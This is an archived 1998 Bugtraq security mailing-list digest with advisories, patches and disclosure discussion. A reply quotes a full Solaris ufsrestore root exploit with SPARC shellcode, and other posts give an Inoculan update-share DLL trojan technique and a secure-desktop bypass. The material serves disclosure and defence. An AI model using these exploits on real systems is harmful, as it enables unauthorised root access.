Date: Sat, 13 Jun 1998 00:03:57 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 11 Jun 1998 to 12 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980613040556Z97169-9195+23@brimstone.netspace.org>
There are 11 messages totalling 860 lines in this issue.
Topics of the day:
1. Solaris 2.5.1 patch not effective?
2. CERT Summary CS-98.06
3. Full Armor
4. Silly patch to report version.bind requests (3)
5. Cheyenne Inoculan vulnerability on NT
6. Full Armor.... Fool Proof etc... bugs
7. Vulnerability in 4.4BSD Secure Levels Implementation (2)
8. ufsrestore sparc exploit
----------------------------------------------------------------------
Date: Thu, 11 Jun 1998 16:51:19 -0700
From: Richard Peters
Subject: Re: Solaris 2.5.1 patch not effective?
At 4:28 PM -0500 6/11/98, Steve Siirila wrote:
>I can confirm that the patch 104490-05 is indeed ineffective against at least
>one root compromise bug. We experienced such a compromise recently even with
>the latest security patches (including 104490-05) installed.
>
>We decided to simply make ufsdump/ufsrestore non-setuid, non-setgid as they
>are never run by non-root users at our site anyways.
We also have evidence patch 104490-05 does not fully address the problem.
In a e-mail responce we received from Sun on May 23 in regards to our
security concerns about ufsrestore at current patch level, they stated they
were working on patches for ufsrestore.
Richard Peters
University of California at Berkeley
------------------------------
Date: Thu, 11 Jun 1998 19:16:06 -0400
From: "Phillip R. Jaenke"
Subject: CERT Summary CS-98.06
-----BEGIN PGP SIGNED MESSAGE-----
- ---------------------------------------------------------------------------
CERT* Summary CS-98.06
June 11, 1998
The CERT Coordination Center periodically issues the CERT Summary to
draw attention to the types of attacks currently being reported to our
incident response team. The summary includes pointers to sources of
information for dealing with the problems.
Past CERT Summaries are available from
http://www.cert.org/summaries/
ftp://ftp.cert.org/pub/cert_summaries/
- ---------------------------------------------------------------------------
Recent Activity
- ---------------
Since the last regularly scheduled CERT Summary issued in March 1998
(CS-98.03), we have seen these trends in incidents reported to us.
1. Multiple Vulnerabilities in BIND
In two previous special edition CERT Summaries, CS-98.04 and CS-98.05, we
discussed several attack methods being used to exploit
vulnerabilities in BIND. CS-98.04 and CS-98.05 are available from
http://www.cert.org/summaries/CS-98.04.html
http://www.cert.org/summaries/CS-98.05.html
We have observed several changes to the methods of attack used to
exploit the BIND vulnerabilities. Exploitation of these
vulnerabilities might allow a remote intruder to gain privileged
(root) access on your domain name server or to disrupt normal
operation of your domain name server.
Although the methods of attack are being modified, these attacks
are still exploiting vulnerabilities described in CERT advisory
CA-98.05. We encourage you to review this advisory, which describes
the BIND buffer overflow vulnerability, and to apply the
appropriate patches if you have not done so already. The advisory
is available at
http://www.cert.org/advisories/CA-98.05.bind_problems.html
2. Scans to Port 1/tcpmux and unpassworded SGI accounts
Over the past month we have received reports of widespread scans to
TCP port 1. The service assigned to TCP port 1 is tcpmux. For more
information, see RFC#1078, which is available at
ftp://ftp.isi.edu/in-notes/rfc1078.txt
We know that some of the scans originated from sites that had root
compromises. From a site that was used to launch these scans, we
were able to obtain files that indicate that the intruder was
scanning for IRIX machines.
By default, IRIX systems have tcpmux enabled. Once the intruder
found a number of machines with a service running on port 1/tcpmux,
the intruder then used another automated tool to telnet to each of
these machines and attempt to log in as guest, lp, and demos.
We have been in communication with SGI about this issue. At this
time there does not appear to be any vulnerability in the SGI
implementation of tcpmux or any service provided through tcpmux.
IRIX Root Compromises
In addition to the above incidents, we have noticed an increase in
the number of reports of IRIX root compromises over the past
month. We have also received numerous independent reports of
widespread failed login attempts to lp, guest, demos, OutOfBox, and
EZsetup accounts.
IRIX machines ship by default with unpassworded accounts. As of
IRIX 6.3 there is a security tool to easily disable or add
passwords to these accounts at installation time. Please refer to
the following advisories for more information about this issue:
ftp://sgigate.sgi.com/security/19951002-01-I
http://www.cert.org/advisories/CA-95.15.SGI.lp.vul.html
We strongly encourage you to ensure that the full set of security
patches for each of your systems is applied. This is a major step
in defending your systems from attack; its importance cannot be
overstated.
We encourage you to check with your vendor regularly for any
updates or new patches that relate to your systems. We also
encourage you to ensure that you are up to date with patches and
workarounds referenced in CERT advisories.
IRIX patches are available from
http://www.sgi.com/Support/security/security.html
If your IRIX machine has unpassworded accounts, then in addition to
disabling (or adding password protection to) accounts which do not
have passwords, we encourage you to inspect your system for signs
of intrusion. For instructions on how to do this, please refer to
the "Recovering from an Incident" web page, available from
http://www.cert.org/nav/recovering.html
3. Root Compromises
We continue to receive daily reports of sites that have suffered a
root compromise. Many of these compromises can be traced to systems
that are unpatched or misconfigured, which the intruders exploit
using well-known vulnerabilities for which CERT advisories have
been published.
We encourage you to check for signs of compromise. The following
documents can help you review your systems:
Intruder Detection Checklist
This document outlines suggested steps for determining if your
system has been compromised.
ftp://ftp.cert.org/pub/tech_tips/intruder_detection_checklist
Steps for Recovering from a UNIX Root Compromise
This document sets out suggested steps for responding to a
root compromise.
http://www.cert.org/tech_tips/root_compromise.html
UNIX Configuration Guidelines
This document describes common UNIX system configuration
problems that have been exploited by intruders and recommends
practices that can be used to help deter several types of
break-ins.
ftp://ftp.cert.org/pub/tech_tips/UNIX_configuration_guidelines
List of Security Tools
This document describes tools that can be used to help secure
a system and deter break-ins.
ftp://ftp.cert.org/pub/tech_tips/security_tools
What's New and Updated
- ----------------------
Information about new and updated CERT documents, such as advisories,
is available through the CERT web site at
http://www.cert.org/nav/whatsnew.html
- ---------------------------------------------------------------------------
How to Contact the CERT Coordination Center
Email cert@cert.org
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
cert-advisory-request@cert.org
In the subject line, type
SUBSCRIBE your-email-address
CERT advisories and bulletins are posted on the USENET news group
comp.security.announce
CERT publications, information about FIRST representatives, and other
security-related information are available from
http://www.cert.org/
ftp://ftp.cert.org/pub/
If you wish to send sensitive incident or vulnerability information to CERT
staff by electronic mail, we strongly advise you to encrypt your message.
We can support a shared DES key or PGP. Contact the CERT staff for more
information.
Location of CERT PGP key
ftp://ftp.cert.org/pub/CERT_PGP.key
- ---------------------------------------------------------------------------
Copyright 1998 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff/legal_stuff.html and
ftp://ftp.cert.org/pub/legal_stuff . If you do not have FTP or web access,
send mail to cert@cert.org with "copyright" in the subject line.
* CERT is registered in the U.S. Patent and Trademark Office.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNYAnx3VP+x0t4w7BAQH1nQQAiYMz9bJ742vAIJ5wFMZgoa+2LtQdr1lo
ulcin+IFsNPNF4JVqosT06NlVnyWRBZrJ35J4GUktHN8HMXafIT818X59+FAStGE
s4d1QLgL5bg8k0Gb7n/r1pyQoKnhOLmWGEqZFrHfJ2mZOF6zDKG8qHnZJVqpVrnO
riWfaUKp7y4=
=wsY8
-----END PGP SIGNATURE-----
------------------------------
Date: Fri, 12 Jun 1998 11:17:46 +1200
From: S M Phillips
Subject: Re: Full Armor
to prevent this add the following to MSDOS.SYS under the [Options]
section.
BootSafe=0
BootKeys=0
BootWarn=0
AutoScan=0
Network=1 (if you have networking enabled)
while this does tend to stop most of the general populace from bypassing
the restrictions in effect - it still doesnt stop someone booting off a
disk, you could use a bios setting to boot from C before A (if your bios
supports it), hence bypassing this as well - yet, the fact still remains,
dos is never 100% secure, all someone would need to do is gain write
access to the c:\msdos.sys file which shouldnt be a hard thing to do given
a bit of time :)
--
Steve.
------------------------------
Date: Wed, 10 Jun 1998 17:18:45 -0400
From: "Craig H. Rowland"
Subject: Silly patch to report version.bind requests
Hello,
I wrote this patch for BIND 8.1.2 that will change the version number
returned and (most importantly) write to your logs that a person attempted
to do so.
To apply:
cd src/bin/named
patch < patchfile.name
re-compile and run (preferably chrooted())
(See http://www.psionic.com/papers/dns.html or
http://www.homeport.org/~adam/dns.html for more information)
Test using command:
dig @127.0.0.1 version.bind chaos txt
You should see "Go away." come back instead of the BIND version number and
your log should have an "attackalert" message in it with the IP of the
perpetrator. This can be grep'd for if you use an automated logfile
auditing tool like swatch or logcheck, which already looks for
this keyword:
http://www.psionic.com/abacus/abacus_logcheck.html
;)
While I don't suspect this will break anything, I would like to hear if it
does. I've been running the patch without incident, but no guarantees as
usual.
Thanks,
-- Craig
*** ns_req.c Tue Jun 9 21:56:26 1998
--- ns_req.new Tue Jun 9 21:46:58 1998
***************
*** 665,673 ****
PUTLONG(0, *cpp); /* TTL */
tp = *cpp; /* Temp RdLength */
PUTSHORT(0, *cpp);
! copyCharString(cpp, ShortVersion);
PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */
*msglenp = *cpp - msg; /* Total message length */
return (Finish);
}
--- 665,674 ----
PUTLONG(0, *cpp); /* TTL */
tp = *cpp; /* Temp RdLength */
PUTSHORT(0, *cpp);
! copyCharString(cpp, "Go away.");
PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */
*msglenp = *cpp - msg; /* Total message length */
+ ns_info(ns_log_security, "attackalert: BIND version query from %s", sin_ntoa(from));
return (Finish);
}
------------------------------
Date: Thu, 11 Jun 1998 18:38:19 -0400
From: "Adam D. McKenna"
Subject: Re: Cheyenne Inoculan vulnerability on NT
This is very interesting. I have also noticed that Cheyenne ArcServe
creates two shares, ArcServe$ (the ArcServe system directory) and CheyAlert$
(if you install the Alert Manager) that also have Full Control permissions
by default for the Everyone group.
These directories do not serve as an auto-update, but a malicious user could
easily replace any of the program files (asmgr.exe, asadmin.exe,
arcbatch.exe, etc.) in these directories with whatever he or she desires,
which would be run as soon someone ran the program (the links in the
ArcServe user's Start Menu point to the same files.)
This is in ArcServe 6.0 build 328. (Without any service packs). It looks
like installing ArcServe Service Pack 3 fixes the permissions, but if you
are running a new install (like I was... :) then you are vulnerable..
--Adam
---
Adam D. McKenna
Senior LAN Analyst
IDT, Inc.
adam@hq.idt.net
adam@flounder.net
-----Original Message-----
From: p__boyer@USA.NET
To: BUGTRAQ@NETSPACE.ORG
Date: Thursday, June 11, 1998 6:15 PM
Subject: Cheyenne Inoculan vulnerability on NT
It is possible to run arbitrary code on any Intel machine running Cheyenne
Inoculan version 4.0 for Windows NT(any version of NT) prior to SP2.
Same kind of vulnerabilities might exist with other anti-virus product
providing an auto-update mechanism. I have not the time needed to fully
explore this issue. Feel free to contribute.
Summary of the problem:
* Cheyenne Inoculan version 4.0 prior to SP2 for Windows NT creates a shared
directory called "CHEYUPD$" in which "EVERYONE" has "FULL CONTROL" access.
* When Inoculan starts, it checks if a new versions of Inoculan has been
written in that directory and, if so, replace itself with the new version.
* It is trivial to create a fake "new version" and let Inoculan install this
fake on all machines running inoculan
To check if you are vulnerable :
if you have the resource kit installed, run
SRVCHECK.EXE \\
else run srvmgr.exe from a NT server on the same domain, select
and select "Computer|Shared Directories".
If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL"
to the "EVERYONE" group, this is bad news :(
The solution:
go to http://www.cheyenne.com/CheyTech/Download/patches/techptch.html and
install their latest patch
Nota: it took more than 3 weeks after I first reported the problem to
cheyenne (a Computer Associates Company) before they provided us with such a
patch. I had to wait the patch availability before to post here... Client
rules ;)
More details :
Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server".
When it starts, it replaces any shared directory with the same name and
shares "CHEYUPD$" with full control for the everyone group.
When the service starts, it does an update check in this directory (usually
"C:\Inoculan\Update\" ) using the files
"\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and
[idem]...\avh32dll.dll
simply "touching" or modifying the file "filelist.txt" for it looks younger
than real causes the update. Th update causes the service to stop, the
avh32dll.dll DLL to replace the existing one (usually in
c:\inoculan\avh32dll.dll) and then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot
of stuff (including checking if it is a valid DLL, I presume).
The problem is you can write a DLL that execute arbitrary code at the time
it is loaded in memory, at the precise time when DllMain is called by the
image loader, before any other function have a chance to be called...
Exemple :
inoctroj.cpp:
-------Cut here -----------
#include "stdio.h"
long __stdcall DllMain (long, unsigned long, void*)
{
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
FILE * demo;
// create a file
demo = fopen ( "C:\\I_can_write_a_file.txt", "w");
// write to the file
char * buf = "hello world ! ";
fwrite ( buf,1, 15, demo);
fclose ( demo );
// This aborts the DLL loading. Anyway, we're done at that time ;))
return 0;
}
-------Cut here -----------
compile and link to make the target avh32dll.dll
write it to \CHEYUPD$\English\NtIntel\Ready\
touch \CHEYUPD$\English\NtIntel\Ready\filelist.txt in the same
directory for it is more recent than initially.
Stop the "Cheyenne InocuLAN Anti-Virus Server" on the machine and
start it again (alternatively shutdown and restart the machine).
Here you are : there is a file "I_can_write_a_file.txt" in "C:\" on .
No good :(
An interesting point is that Inoculan uses "domains". In one domain, a
single server forwards the updates to all machines participating in that
"domain" (nothing to do with NT domains).
I didn't have the test environment to test it, but I would expect a much
worse scenario if the trojan is written to the inoculan domain's server
CHEYUPD$ shared directory. I'm afraid that the trojan would be copied to all
machines of that domain.
This is serious, because all machines would be running arbitrary code in
place of the anti-virus program.
Fortunately, this problem is now fixed by Cheyenne, but I think there are a
lot of such security holes yet to be found in all anti-virus auto-update
mechanisms.
most run the same scenario :
1) a update is issued by the anti-virus vendor on its FTP or Web server, or
sent on a floppy disk or CD, or downloaded using a dedicated modem
connection from the vendor's remote access server.
2) the update is copied to a few servers within the client network
3) all machines get the update from this or those servers
4) all machines run the updated version.
This present problem with Inoculan uses a vulnerability allowing a user on
the internal network to fake step 2 and/or 3.
If you imagine the vendor's ftp server is compromised, the attacker could
fake step 1 with much more widespread impact.
If you imagine the client connection to the Internet is compromised, an
attacker could redirect to a fake ftp server. This would impact step 2.
Paul Boyer
p__boyer@usa.net
____________________________________________________________________
Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
------------------------------
Date: Thu, 11 Jun 1998 19:15:49 -0700
From: chameleon
Subject: Full Armor.... Fool Proof etc... bugs
I have seen a few post about the "Full Armor hacks" and thought I would drop
some info.
There are various programs that make a desktop "secure". Full Armor and
Fool Proof are two of them. They both suffer from the same problems.
Below is basically how to bypass most "secure" desktop programs:
----------------------------------------------------------------------------
-----------------
Turn on your computer. (Tuff one there)
There will be a two or so second gap between seeing your windows desktop and
seeing the explorer bar across the bottom.
During that two second gap, hit control + alt + delete... this will load
task manager.
You now have taskmanager which will enable you to run whatever you like. You
also are able to do this without any restrictions because you froze windows
from loading explorer and Full Armor... Fool Proof etc...
----------------------------------------------------------------------------
-----------------
The first ladys post about this kinda said something about taskman but from
the people I have talked to... she either had an old version or something
wasnt installed right because it wont let you end task full armor.
This shouldn't be that hard to figure out. If you have problems re-creating
this then e-mail me... I don't think bugtraq readers would wana hear about
it.
In closeing... I havent seen a secure desktop program yet for windows95.
Also the MacOS doesnt seem to have a secure desktop program that "works". At
Ease is one of the most widely used "secure desktop" programs out there.
Most schools and stores etc.. use At Ease... You can easily crash At Ease by
holding down three keys on startup of the system (No not the key to bypass
loading startup programs ;-]) and then once your looking at the At Ease tab
folders... you can basically open a bunch of programs and if you do it right
At Ease will run out of room for itself in memory and dump it self to free
up resources... once its dumped your left looking at the neato mac finder
gui. If you want specifics on this At Ease bug drop me an e-mail.
Anyways thats just some info on all that.
Hackerly Yours,
chameleon
chameleon@pemail.com
Rhino9 Security Team (www.rhino9.org)
InterCore Security
Crack the code:
----------------------
"Vjgtg ku pq itgcvgt vgcigfa vjcp fqkpi pqvjkpi hpt hgct qh fqkpi vqq
nkvvng"
No the above isnt a Microsoft encryption standard. ;-]
------------------------------
Date: Thu, 11 Jun 1998 18:00:07 -0700
From: Cy Schubert - ITSD Open Systems Group
Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
> Vulnerability in 4.4BSD Secure Levels Implementation
> This vulnerability is significant in that it allows an intruder to
> covertly modify running processes. The correct behaviour is to make
> the address space of these processes immutable. Although an intruder
> can still kill them and start others in their place, the death of system
> daemons will (should) draw attention on secure systems.
The key word is "should" draw attention. Unless there is an
application (or the system itself) that periodically checks for any
change in status of a system daemon (like the change of a PID), I
suspect that most sysadmins will not even notice that a system daemon
has died and restarted. To help plug this vulnerability one of the
following options might be desirable,
1. Disallow sending signals to processes started from immutable
binaries,
except from init, e.g. during shutdown.
Advantage: Improved security.
Disadvantages: Administration may be virtually impossible and may
break
existing applicaitons.
1a. A variation of #1 except using a new "unkillable" flag which denotes
immutable binaries that cannot be sent signals.
Advantage: May break fewer applications than #1.
2. Have init manage critical system daemons via /etc/ttys. When a
critical
daemon dies, automatically restart a new one.
Advantage: Administratively more palatable.
Disadvantage: Race condition possible to replace a system daemon
with a
rogue daemon.
3. Replicate the immutable flag when a file is copied.
Advantage: Some improved security.
Disadvantage: Intruder can FTP a rogue daemon and run it instead.
Regards, Phone: (250)387-8437
Cy Schubert Fax: (250)387-5766
Open Systems Group Internet: cschuber@uumail.gov.bc.ca
ITSD Cy.Schubert@gems8.gov.bc.ca
Government of BC
------------------------------
Date: Thu, 11 Jun 1998 22:33:13 -0500
From: tqbf@POBOX.COM
Subject: Re: Vulnerability in 4.4BSD Secure Levels Implementation
> We have discovered a vulnerability in all current implementations of
> secure levels which allow an intruder to modify the memory image of
> running processes, thereby bypassing the protection applied to system
> binaries and their configuration files. The vulnerability cannot be
> exploited to modify the init process, kernel memory or the protected
> files themselves.
While I certainly respect the work you are putting into auditing 4.4BSD, I
do not think you have discovered anything, and I do not think that what
you are discussing is a bug. I do not understand why Theo de Raadt, who
understands this issue better than I do, believes that the issue being
considered here is worth a patch.
To start with, the fact that processes can be "hijacked" when the system
is in secure mode is well known. Please consult the June, 1997 OpenBSD
security advisory regarding procfs vulnerabilities for prior art in
published advisories; this document acknowledges that processes other than
init can be taken over by root. You can obtain this advisory, along with
all other OpenBSD security advisories, from the OpenBSD website. See:
"http://www.openbsd.org/advisories/procfs".
I realize that you are referring specifically to the fact that a process
which was loaded into memory from an immutable file does not have an
"immutable" text segment. I don't see where it is documented that these
semantics hold. McKusick et al do not mention anything about the text
segment of "login" being immutable, and the "man" page documentation for
the immutable flag doesn't mention it either.
I do not understand how the attack you describe poses a major threat to
the current securelevels semantics. There remains no published method for
altering or truncating the contents of an immutable or append-only file on
OpenBSD 2.2, and there remains no published method for accessing kernel
memory in securelevel 1 on OpenBSD.
The access you talk about obtaining by patching "inetd" can just as easily
be obtained by replacing it with another process entirely; even on secure
systems, unless the inetd process is watched very carefully, it is
possible to transparently replace inetd with another program, while
maintaining the process ID. The fact that inetd is running from a
different binary is not much more noticeable than the fact that, for
instance, telnetd is running from a new binary.
Meanwhile, patching this "problem" means that I cannot debug programs that
run from immutable files. More importantly, I can't take over and perform
forensics on a live attacking process; an attacker merely flags her
sniffer "immutable", and I suddenly have no way of backdooring it. From my
perspective, "fixing" this problem loses more for me much more than it
wins.
Of course, the core issue here is that securelevels are silly. The 4.4BSD
kernel is not secure against "root". It wasn't designed to be. Adding a
global flag to the kernel and periodically checking it doesn't alter this
fact; root is too powerful, and "securelevels" are a hack that attempts
(and fails, IMO) to perform damage control. Don't defend it; replace it
with something that works (like compartmentalization/domain-type
enforcement).
-----------------------------------------------------------------------------
Thomas H. Ptacek The Company Formerly Known As Secure Networks, Inc.
-----------------------------------------------------------------------------
http://www.pobox.com/~tqbf "If you're so special, why aren't you dead?"
------------------------------
Date: Thu, 11 Jun 1998 22:25:42 -0400
From: Matt Glaves
Subject: Re: ufsrestore sparc exploit
No luck on 2.5, 2.5.1 or 2.6 machines here.
Matt Glaves System Administrator
glaves@cs.odu.edu Old Dominion University
http://www.cs.odu.edu/~glaves Computer Science Department
On Thu, 11 Jun 1998, John McDonald wrote:
> well.. here is the source. :>
>
> I have not checked it on a patched machine.. guess I stumbled onto a
> different hole when playing with ufsrestore.
>
> humble
>
> // ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
> // by humble
> // thanks to plaguez for help
>
> #include
> #include
> #include
> #include
>
> #define BUF_LENGTH 300
> #define EXTRA 100
> #define STACK_OFFSET -600
> #define SPARC_NOP 0xac15a16e
>
> // normal shell code cept I added a bunch of sll's and add's
> // to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
> // I don't know sparc assembly so this might be dumb :P
>
> // also added code to do seteuid(0); setuid(0); from erik's buffer
> // overrun page
>
> u_char sparc_shellcode[] =
> "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
> "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
> "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
> "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
> "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
> "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
> "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
> "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
> "\x90\x0b\x80\x0e"
> "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
> "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
> "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
>
> u_long get_sp(void)
> {
> __asm__("mov %sp,%i0 \n");
> }
>
> void main(int argc, char *argv[])
> {
> char buf[BUF_LENGTH + EXTRA + 8];
> long targ_addr;
> u_long *long_p;
> u_char *char_p;
> int i, code_length = strlen(sparc_shellcode),dso=0,a=0;
>
> if(argc > 1) dso=atoi(argv[1]);
>
> long_p =(u_long *) buf ;
> targ_addr = get_sp() - STACK_OFFSET - dso;
> for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
> *long_p++ = SPARC_NOP;
>
> char_p = (u_char *) long_p;
>
> for (i = 0; i < code_length; i++)
> *char_p++ = sparc_shellcode[i];
>
> long_p = (u_long *) char_p;
>
> for (i = 0; i < EXTRA / sizeof(u_long); i++)
> *long_p++ =targ_addr;
>
> printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
> targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
> printf("hit ctrl-c and then type y\n");
> execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
> perror("execl failed");
> }
>
------------------------------
Date: Fri, 12 Jun 1998 20:39:49 +0200
From: Peter Svensson
Subject: Re: Silly patch to report version.bind requests
On Wed, 10 Jun 1998, Craig H. Rowland wrote:
> While I don't suspect this will break anything, I would like to hear if it
> does. I've been running the patch without incident, but no guarantees as
> usual.
On the other hand the version request feature is very much used among dns
operators to track down errors. A lot of traffic on the bind mailing lists
was regarding how to find out the version number of a remote bind
installation. It had proven very helpful to us on many occasions so I hope
not too many people will use this patch.
Peter
--
Peter Svensson ! Pgp key available by finger, fingerprint:
! 8A E9 20 98 C1 FF 43 E3 07 FD B9 0A 80 72 70 AF
------------------------------------------------------------------------
Remember, Luke, your source will be with you... always...
------------------------------
Date: Fri, 12 Jun 1998 15:28:39 -0600
From: LaMont Jones
Subject: Re: Silly patch to report version.bind requests
> I wrote this patch for BIND 8.1.2 that will change the version number
> returned and (most importantly) write to your logs that a person attempted
> to do so.
Rather than hacking on the source, just do the following with the stock
distribution:
in named.conf:
zone "bind" chaos { allow-query {localhost; }; type master; file "pri/bind"; };
and in pri/bind:
$ORIGIN bind.
@ 1D CHAOS SOA localhost. root.localhost. (
1 ; serial
3H ; refresh
1H ; retry
1W ; expiry
1D ) ; minimum
CHAOS NS localhost.
Presto - log messages for denied queries, and no changes to the code.
lamont
------------------------------
End of BUGTRAQ Digest - 11 Jun 1998 to 12 Jun 1998
**************************************************